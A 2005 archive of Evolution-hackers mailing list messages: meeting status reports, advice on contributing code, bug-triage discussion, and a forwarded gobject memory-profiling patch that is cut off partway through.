[130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 92F821243F0 for ; Wed, 23 Feb 2005 03:08:16 -0500 (EST) Received: (qmail 28516 invoked from network); 23 Feb 2005 08:08:15 -0000 Received: from localhost (HELO ?192.168.1.62?) (127.0.0.1) by localhost with SMTP; 23 Feb 2005 08:08:15 -0000 From: Not Zed To: JP Rosevear Cc: gene-pool@ximian.com, Evolution Hackers mailing list In-Reply-To: <1109051853.9149.138.camel@bishop.rosevear.com> References: <1109051853.9149.138.camel@bishop.rosevear.com> Content-Type: multipart/alternative; boundary="=-Omx0eVrINe7E0vqIfXKC" Date: Wed, 23 Feb 2005 16:06:30 +0800 Message-Id: <1109145990.31770.39.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-21.3 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,HTML_30_40,IN_REP_TO, QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: [gene-pool] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-Omx0eVrINe7E0vqIfXKC Content-Type: text/plain Content-Transfer-Encoding: 7bit probably won make it, 11pm is too late for me lately i fixed a few bugs, more bugs to go i suppose. from last meeting: - didn' do the plugin compile split - didn't look at the composer cut/copy/paste bug - fixed the pop bug, but jeff hasn't reviewed it yet On Tue, 2005-02-22 at 00:57 -0500, JP Rosevear wrote: > Novell people, send a status report if you can't make it. 10am Boston time > (UTC -0500) on Wednesday. > > This meeting will take place on irc.gimp.org, #evolution-meet > > 1. JP > -2.1 development status > -2.1 bug assessment > -2.2.0 and 2.2.1 timeline > -Patch review mode reminder > -2.0.4 release > > 2. Team > -individual status reports > > 3. Additional Business > -questions, concerns, etc. > > -JP --=-Omx0eVrINe7E0vqIfXKC Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
probably won make it, 11pm is too late for me lately

i fixed a few bugs, more bugs to go i suppose.

from last meeting:
- didn' do the plugin compile split
- didn't look at the composer cut/copy/paste bug
- fixed the pop bug, but jeff hasn't reviewed it yet


On Tue, 2005-02-22 at 00:57 -0500, JP Rosevear wrote: 
Novell people, send a status report if you can't make it.  10am Boston time
(UTC -0500) on Wednesday.

This meeting will take place on irc.gimp.org, #evolution-meet

1. JP
-2.1 development status
-2.1 bug assessment
-2.2.0 and 2.2.1 timeline
-Patch review mode reminder
-2.0.4 release

2. Team
-individual status reports

3. Additional Business
-questions, concerns, etc.

-JP
--=-Omx0eVrINe7E0vqIfXKC-- From rodrigo@novell.com Wed Feb 23 08:49:30 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 365D3124C20; Wed, 23 Feb 2005 08:49:30 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 4AF1E124980 for ; Wed, 23 Feb 2005 08:49:18 -0500 (EST) Received: (qmail 28945 invoked from network); 23 Feb 2005 13:49:16 -0000 Received: from localhost (HELO cerler.home) (127.0.0.1) by localhost with SMTP; 23 Feb 2005 13:49:16 -0000 From: Rodrigo Moya To: Not Zed Cc: JP Rosevear , gene-pool@ximian.com, Evolution Hackers mailing list In-Reply-To: <1109145990.31770.39.camel@lostzed.mmc.com.au> References: <1109051853.9149.138.camel@bishop.rosevear.com> <1109145990.31770.39.camel@lostzed.mmc.com.au> Content-Type: text/plain Date: Wed, 23 Feb 2005 14:46:30 +0100 Message-Id: <1109166390.15586.3.camel@cerler.home> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-13.5 required=5.0 tests=BAYES_70,EMAIL_ATTRIBUTION,IN_REP_TO,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: [gene-pool] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Wed, 2005-02-23 at 16:06 +0800, Not Zed wrote: > > probably won make it, 11pm is too late for me lately > probably won't make it neither, since it's in 1 hour and I have to go do some stuff out of home. So, my status: * completed JP's locking patch for calendar backends, waiting for approval on e-p * fixed an alarm daemon crash * fixed get_static_capabilities on weather backend, waiting for approval on e-p * changed save-calendar plugin to use gnome-vfs, thus fixing #71527, also waiting for approval on e-p * more bug hunting/patch approving Looking now at #70035 and 2.1 bugs in general -- Rodrigo Moya From mccannwj@pha.jhu.edu Wed Feb 23 12:48:16 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id D72DD12425D; Wed, 23 Feb 2005 12:48:16 -0500 (EST) Received: from eta.pha.jhu.edu (eta.pha.jhu.edu [128.220.143.20]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 6B03D1241B4 for ; Wed, 23 Feb 2005 12:48:05 -0500 (EST) Received: from adcam.pha.jhu.edu (adcam-2.pha.jhu.edu [128.220.146.77]) by eta.pha.jhu.edu (8.12.8/8.12.4) with ESMTP id j1NHm3e0004906 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 23 Feb 2005 12:48:03 -0500 (EST) Received: from [128.220.146.40] (acs25 [128.220.146.40]) (authenticated bits=0) by adcam.pha.jhu.edu (8.12.9/8.12.9) with ESMTP id j1NHm3Jf028373 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 23 Feb 2005 12:48:03 -0500 (EST) Message-ID: <421CC0BC.1010903@pha.jhu.edu> Date: Wed, 23 Feb 2005 12:43:24 -0500 From: William Jon McCann Reply-To: William Jon McCann User-Agent: Mozilla Thunderbird 1.0 (X11/20041209) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Carlos Gonzalez Cc: Evolution Hackers-List Subject: Re: [Evolution-hackers] How to incorporate and test changes to code - an overview?? References: <1109113239.31590.41.camel@localhost.localdomain> In-Reply-To: <1109113239.31590.41.camel@localhost.localdomain> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-18.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hello Carlos, You may find some good information here: http://gnome.org/projects/evolution/developer.shtml In short: * Use jhbuild * Learn how to use CVS commands * Read the code and try to understand how it works (and there is plenty of it) * Follow the coding style of the file you change (evolution uses at least two distinct styles) * Always try to provide patches that apply to the very latest version from CVS HEAD. * Try to make your change affect as little code as possible * Thoroughly test your changes * The evolution hackers are, unfortunately, quite swamped so you may have to be patient when requesting feedback. Good luck, Jon Carlos Gonzalez wrote: > Hi everyone, > > This is my first post on the list so bear with me if some of what I ask > about seems like old hat to most of you :). > > I have been using Evolution for a few days now and find it a very > worthwhile program. But I have been encountering lots of frustrating > quirks to using it that I would like to change. Rather than waiting for > changes to be made, if ever, through the more normal channels I prefer > to make changes to the source code myself and recompile if necessary. > > It's the first open source program I have encountered that needs some > changes pretty bad but which is already at a point of being quite > useful. So it's worth it for me to do this. > > So...I am wondering first off if there is some kind of guide online for > newbie hackers of the source code and where that might be? > > Secondly in a more general sense I am wondering about the whole > methodology used in making changes to the source code such that I can > make them and test them within a reasonable time period. Obviously I > cannot wait to test a change by recompiling the source with every few > changes. There must be a much faster way of doing this that Evolution > programmers use but of which I am unaware. Do they build test scripts > that can test individual functions? One at a time? Such that they can > compile changes to the function quickly to test before incorporating > into the source code tree? > > Lastly what is a good way to keep any changes I make while also making > use of the latest stable builds to Evolution? Is it theoretically > possible to download the entire source, for me to create and run a Perl > or other script to patch the source code, and then to recompile so that > I get the best and greatest from Evolution while also incorporating my > changes. > > Any input on any or all of the above would be most appreciated. Some of > evolutions quirks are starting to drive me nuts yet I don't want to > cease using it since it's the best there is on Linux. > > Carlos > > > > > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers From rodrigo@novell.com Wed Feb 23 13:01:26 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id C965012418D; Wed, 23 Feb 2005 13:01:26 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 7690512402F for ; Wed, 23 Feb 2005 13:01:15 -0500 (EST) Received: (qmail 29602 invoked from network); 23 Feb 2005 18:01:14 -0000 Received: from localhost (HELO cerler.home) (127.0.0.1) by localhost with SMTP; 23 Feb 2005 18:01:14 -0000 Subject: Re: [Evolution-hackers] How to incorporate and test changes to code - an overview?? From: Rodrigo Moya To: William Jon McCann Cc: Carlos Gonzalez , Evolution Hackers-List In-Reply-To: <421CC0BC.1010903@pha.jhu.edu> References: <1109113239.31590.41.camel@localhost.localdomain> <421CC0BC.1010903@pha.jhu.edu> Content-Type: text/plain Date: Wed, 23 Feb 2005 18:58:32 +0100 Message-Id: <1109181512.375.2.camel@cerler.home> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-22.3 required=5.0 tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Wed, 2005-02-23 at 12:43 -0500, William Jon McCann wrote: > Hello Carlos, > > You may find some good information here: > http://gnome.org/projects/evolution/developer.shtml > http://live.gnome.org/Evolution also has some information -- Rodrigo Moya From jpr@novell.com Wed Feb 23 16:05:55 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 5962B124ABD; Wed, 23 Feb 2005 16:05:55 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 6FAAF124428 for ; Wed, 23 Feb 2005 16:05:43 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Wed, 23 Feb 2005 14:05:37 -0700 Subject: [Fwd: Re: [Evolution-hackers] evolution-groupwise-maintainers] From: JP Rosevear To: Evolution Hackers mailing list Content-Type: multipart/mixed; boundary="=-E+JbhAOZ/TlLbxvVl6ED" Organization: Novell, Inc. Date: Wed, 23 Feb 2005 16:05:23 -0500 Message-Id: <1109192724.1626.22.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,SIGNATURE_SHORT_SPARSE autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-E+JbhAOZ/TlLbxvVl6ED Content-Type: text/plain Content-Transfer-Encoding: 7bit (Not sure this made it to the list lists.x.c seems a little odd atm) -JP -- JP Rosevear Novell, Inc. --=-E+JbhAOZ/TlLbxvVl6ED Content-Disposition: inline Content-Description: Forwarded message - Re: [Evolution-hackers] evolution-groupwise-maintainers Content-Type: message/rfc822 Subject: Re: [Evolution-hackers] evolution-groupwise-maintainers From: JP Rosevear To: Harish Krishnaswamy Cc: ls@skeptopotamus.ximian.com, evolution-groupwise-maintainers@ximian.com In-Reply-To: <1109154327.24618.5.camel@emptyboat.blr.novell.com> References: <1108746179.6456.246.camel@bishop.rosevear.com> <011201c51951$bdae9db0$0301a8c0@executivesontheweb.local> <1109154327.24618.5.camel@emptyboat.blr.novell.com> Content-Type: text/plain Organization: Novell, Inc. Date: Wed, 23 Feb 2005 16:04:22 -0500 Message-Id: <1109192662.1626.20.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit On Wed, 2005-02-23 at 15:55 +0530, Harish Krishnaswamy wrote: > On Wed, 2005-02-23 at 02:45 +0000, JP Rosevear wrote: > > On Fri, 2005-02-18 at 12:02 -0500, JP Rosevear wrote: > > > I got this alias setup for bugzilla in case we want to assign groupwise > > > related bugs there some how. > > > > > > Personally I'd prefer to keep the groupwise bugs assigned to individual > > > components with the groupwise keyword rather than create a separate > > > product (the GroupWise product in their now was a broken attempt at > > > tracking some server issues) or separate component. We don't put IMAP > > > or POP bugs in a separate component. However it is a little different > > > in this case because we have a specific group working on these bugs and > > > there are currently a lot of them. We could transfer the groupwise > > > keyword bugs that aren't assigned specifically right now to > > > evolution-groupwise-maintainers and periodically make sure the > > > assignment is right. This would cut down the bug traffic to > > > evolution-mail-maintainers, evolution-calendar-maintainers, etc. > > > > Ok, sounds like you guys want a groupwise component. Evolution or EDS > > or both? > > > > -JP > > Sorry if my earlier mail did not convey my thoughts clearly. I said yes > for the new alias (evo-gw-maintainers)- not necessarily for the creation > of new gw component. Moved the bugs. Sorry for the bug spam all. -JP -- JP Rosevear Novell, Inc. --=-E+JbhAOZ/TlLbxvVl6ED-- From linux@software.dk Thu Feb 24 09:12:17 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 5EFEE1245C4; Thu, 24 Feb 2005 09:12:17 -0500 (EST) Received: from cicero0.cybercity.dk (cicero0.cybercity.dk [212.242.40.52]) by lists.ximian.com (Postfix) with ESMTP id F20001241D8 for ; Thu, 24 Feb 2005 09:12:05 -0500 (EST) Received: from user4.cybercity.dk (user4.cybercity.dk [212.242.41.50]) by cicero0.cybercity.dk (Postfix) with ESMTP id 52F0D28F3C for ; Thu, 24 Feb 2005 15:12:03 +0100 (CET) Received: from [10.0.0.2] (port349.ds1-ro.adsl.cybercity.dk [217.157.164.166]) by user4.cybercity.dk (Postfix) with ESMTP id BB6625017E for ; Thu, 24 Feb 2005 15:12:02 +0100 (CET) From: Soren Mathiasen Reply-To: linux@software.dk To: evolution-hackers@lists.ximian.com Content-Type: text/plain Organization: SSM Software Date: Thu, 24 Feb 2005 15:11:57 +0100 Message-Id: <1109254317.10582.3.camel@localhost> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.4 required=5.0 tests=BAYES_01,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Open mail from commandline Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi, Is it possible to open up a specific mail in the Inbox from the command line ??? Cheers, Soren From Grand.Apeiron@gmx.net Thu Feb 24 10:36:04 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B8C2E124EB5; Thu, 24 Feb 2005 10:36:04 -0500 (EST) Received: from mail.gmx.net (imap.gmx.net [213.165.64.20]) by lists.ximian.com (Postfix) with SMTP id 0C4F41240D3 for ; Thu, 24 Feb 2005 10:35:53 -0500 (EST) Received: (qmail invoked by alias); 24 Feb 2005 15:35:51 -0000 Received: from 11-172-20-212.dsl.globvill.de (EHLO HAL-9006.gusanos-castillo) (212.20.172.11) by mail.gmx.net (mp010) with SMTP; 24 Feb 2005 16:35:51 +0100 X-Authenticated: #11895819 Subject: Re: [Evolution-hackers] Open mail from commandline From: Grand Apeiron To: evolution-hackers@lists.ximian.com In-Reply-To: <1109254317.10582.3.camel@localhost> References: <1109254317.10582.3.camel@localhost> Content-Type: text/plain Date: Thu, 24 Feb 2005 16:35:44 +0100 Message-Id: <1109259344.2478.20.camel@HAL-9006.gusanos-castillo> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 Content-Transfer-Encoding: 7bit X-Y-GMX-Trusted: 0 X-Spam-Status: No, hits=-22.0 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Thu, 2005-02-24 at 15:11 +0100, Soren Mathiasen wrote: > Hi, > > Is it possible to open up a specific mail in the Inbox from the command > line ??? > > Cheers, Soren > > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers > Hi, as far as i know the mails are stored in an mbox format, at least when you receive mail via POP3 download. I am running evolution 2.0.3 and my mbfox files are stored somwhere under "~/.evolution/mail/local/Inbox.sbd". That was different when i was using evolution 1.4.x. If you can find your mbox files you should be able to open and read them via the mbox command. That information is only based on my personal experience. I am not an Evolution developer. With greetings from Munich, Grand Apeiron -- If I would be a tapeworm, I would prefer penguins. From jpr@novell.com Thu Feb 24 13:43:38 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 15C0D12444D; Thu, 24 Feb 2005 13:43:38 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id C8D4D12488A for ; Thu, 24 Feb 2005 13:43:25 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Thu, 24 Feb 2005 11:43:09 -0700 From: JP Rosevear To: Evolution Hackers mailing list Content-Type: multipart/mixed; boundary="=-TvoLGBQoiX0v0izqaGxa" Organization: Novell, Inc. Date: Thu, 24 Feb 2005 13:42:49 -0500 Message-Id: <1109270570.6458.15.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: Yes, hits=8.2 required=5.0 tests=MAILTO_TO_SPAM_ADDR,MAILTO_WITH_SUBJ,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] [Fwd: gobject patch to track memory use] Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-TvoLGBQoiX0v0izqaGxa Content-Type: text/plain Content-Transfer-Encoding: 7bit It would be cool if someone want to play around with this in evo/e-d-s. -JP -- JP Rosevear Novell, Inc. --=-TvoLGBQoiX0v0izqaGxa Content-Disposition: inline Content-Description: Forwarded message - gobject patch to track memory use Content-Type: message/rfc822 Return-path: Received: from HECTOR.novell.com [130.57.1.28] by sinclair.provo.novell.com; Thu, 24 Feb 2005 10:29:34 -0700 Received: from menubar.gnome.org (unverified [12.107.209.248]) by HECTOR.novell.com (Vircom SMTPRS 4.0.346.0) with ESMTP id ; Thu, 24 Feb 2005 10:30:05 -0700 Received: from localhost (unknown [127.0.0.1]) by menubar.gnome.org (Postfix) with ESMTP id AABA13B1BD9; Thu, 24 Feb 2005 12:26:04 -0500 (EST) Received: from menubar.gnome.org ([12.107.209.248]) by localhost (menubar.gnome.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 22366-08; Thu, 24 Feb 2005 12:26:04 -0500 (EST) Received: from menubar.gnome.org (localhost.localdomain [127.0.0.1]) by menubar.gnome.org (Postfix) with ESMTP id 8714E3B1BA8; Thu, 24 Feb 2005 12:24:38 -0500 (EST) X-Original-To: desktop-devel-list@gnome.org Delivered-To: desktop-devel-list@gnome.org Received: from localhost (unknown [127.0.0.1]) by menubar.gnome.org (Postfix) with ESMTP id 0ACE23B1B8A for ; Thu, 24 Feb 2005 12:24:10 -0500 (EST) Received: from menubar.gnome.org ([12.107.209.248]) by localhost (menubar.gnome.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 22236-02 for ; Thu, 24 Feb 2005 12:24:06 -0500 (EST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by menubar.gnome.org (Postfix) with ESMTP id C17003B1B92 for ; Thu, 24 Feb 2005 12:23:47 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.11/8.12.11) with ESMTP id j1OHNlAY001395 for ; Thu, 24 Feb 2005 12:23:47 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id j1OHNgK27860 for ; Thu, 24 Feb 2005 12:23:42 -0500 Received: from greebo (sebastian-int.corp.redhat.com [172.16.52.221]) by devserv.devel.redhat.com (8.12.11/8.12.11) with ESMTP id j1OHNfkh005954 for ; Thu, 24 Feb 2005 12:23:41 -0500 From: Alexander Larsson To: "desktop-devel-list@gnome.org" Content-Type: multipart/mixed; boundary="=-YY0425KxenlChQOSlMqp" Date: Thu, 24 Feb 2005 18:23:39 +0100 Message-Id: <1109265819.5633.172.camel@greebo> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Virus-Scanned: by amavisd-new at gnome.org Subject: gobject patch to track memory use X-BeenThere: desktop-devel-list@gnome.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: GNOME Desktop Development List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: desktop-devel-list-bounces@gnome.org Errors-To: desktop-devel-list-bounces@gnome.org X-Virus-Scanned: by amavisd-new at gnome.org --=-YY0425KxenlChQOSlMqp Content-Type: text/plain Content-Transfer-Encoding: 7bit I spent some day today hacking up a patch to gobject that lets you track what types of GObjects are using memory. It keeps a list of all live objects, and when you send the process a SIGUSR2 it prints a memory profile. For the size it counts the basic size of the object plus all private data registered with the object. Furthermore it adds some API that lets you register a function to calculate the size an object uses. This is useful for objects that own memory allocations that are not GObjects. I also made a gtk+ patch using this to track the real size of GdkPixbuf object. Even without specific functions for all types this is quite useful, as you can see the object counts. I've already detected some strange things in nautilus with this. The top of the memory profile there looks like: GtkImage: 231 allocated at 104 base size bytes, 23 kb total size GstPadTemplate: 334 allocated at 76 base size bytes, 24 kb total size GtkSeparatorMenuItem: 284 allocated at 96 base size bytes, 26 kb total size NautilusIconCanvasItem: 502 allocated at 64 base size bytes, 31 kb total size GtkAccelLabel: 306 allocated at 168 base size bytes, 50 kb total size NautilusVFSFile: 1005 allocated at 128 base size bytes, 296 kb total size GdkPixbuf: 340 allocated at 52 base size bytes, 6409 kb total size (only NautilusVFSFile and GdkPixbuf have specific memuse functions here) Maybe people want to play around a bit with this. It seems there is some interest in memory profiling at the moment. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Alexander Larsson Red Hat, Inc alexl@redhat.com alla@lysator.liu.se He's an immortal vegetarian farmboy in drag. She's a radical winged safe cracker prone to fits of savage, blood-crazed rage. They fight crime! --=-YY0425KxenlChQOSlMqp Content-Disposition: attachment; filename=gobject-memuse.patch Content-Type: text/x-patch; name=gobject-memuse.patch; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Index: gobject/gtype.c =================================================================== RCS file: /cvs/gnome/glib/gobject/gtype.c,v retrieving revision 1.78 diff -u -p -r1.78 gtype.c --- gobject/gtype.c 1 Nov 2004 18:47:12 -0000 1.78 +++ gobject/gtype.c 24 Feb 2005 17:11:40 -0000 @@ -158,6 +158,7 @@ static void TypeNode *node); static gboolean type_node_is_a_L (TypeNode *node, TypeNode *iface_node); +static void install_mem_use_signal_handler (void); /* --- enumeration --- */ @@ -191,6 +192,7 @@ struct _TypeNode TypeData * volatile data; GQuark qname; GData *global_gdata; + GList *instances; union { IFaceEntry *iface_entries; /* for !iface types */ GType *prerequisistes; @@ -279,6 +281,7 @@ struct _InstanceData guint16 n_preallocs; GInstanceInitFunc instance_init; GMemChunk *mem_chunk; + GMemUseFunc mem_use; }; union _TypeData { @@ -1575,6 +1578,11 @@ g_type_create_instance (GType type) else instance = g_malloc0 (total_instance_size); /* fine without read lock */ + + G_WRITE_LOCK (&type_rw_lock); + node->instances = g_list_prepend (node->instances, instance); + G_WRITE_UNLOCK (&type_rw_lock); + if (node->data->instance.private_size) instance_real_class_set (instance, class); for (i = node->n_supers; i > 0; i--) @@ -1625,7 +1633,12 @@ g_type_free_instance (GTypeInstance *ins instance->g_class = NULL; #ifdef G_ENABLE_DEBUG memset (instance, 0xaa, type_total_instance_size_I (node)); /* debugging hack */ -#endif +#endif + + G_WRITE_LOCK (&type_rw_lock); + node->instances = g_list_remove (node->instances, instance); + G_WRITE_UNLOCK (&type_rw_lock); + if (node->data->instance.n_preallocs) { G_WRITE_LOCK (&type_rw_lock); @@ -2242,6 +2255,24 @@ g_type_register_fundamental (GType return NODE_TYPE (node); } +void +g_type_register_memuse_function (GType type, + GMemUseFunc memuse) +{ + TypeNode *node; + + node = lookup_type_node_I (type); + + if (node && node->is_instantiatable && node->data != NULL) + { + G_WRITE_LOCK (&type_rw_lock); + + node->data->instance.mem_use = memuse; + + G_WRITE_UNLOCK (&type_rw_lock); + } +} + GType g_type_register_static (GType parent_type, const gchar *type_name, @@ -3477,6 +3508,8 @@ g_type_init_with_debug_flags (GTypeDebug /* Signal system */ g_signal_init (); + + install_mem_use_signal_handler (); G_UNLOCK (type_init_lock); } @@ -3579,4 +3612,134 @@ g_type_instance_get_private (GTypeInstan } return G_STRUCT_MEMBER_P (instance, offset); +} + + +typedef struct { + const char *name; + gsize instance_size; + int n_allocated; + gsize total_size; +} NodeMemUse; + +static gint +compare_memuse (gconstpointer a, + gconstpointer b) +{ + const NodeMemUse *m1 = a; + const NodeMemUse *m2 = b; + gsize s1, s2; + + s1 = m1->total_size; + s2 = m2->total_size; + if (s1 < s2) + return -1; + if (s1 == s2) + return 0; + return 1; +} + +static void +report_mem_use_for_node (gpointer key, + gpointer value, + gpointer user_data) +{ + TypeNode *node; + gsize total_instance_size; + gsize total_size; + int n_allocated; + GType type; + GList **list, *l; + NodeMemUse *memuse; + int i; + + list = user_data; + + type = (GType)value; + node = lookup_type_node_I (type); + if (node == NULL || + !node->is_instantiatable || + node->data == NULL) + return; + + total_instance_size = type_total_instance_size_I (node); + if (node->data->instance.private_size) + total_instance_size = ALIGN_STRUCT (total_instance_size); + + memuse = g_new (NodeMemUse, 1); + memuse->name = NODE_NAME(node); + memuse->instance_size = total_instance_size; + + 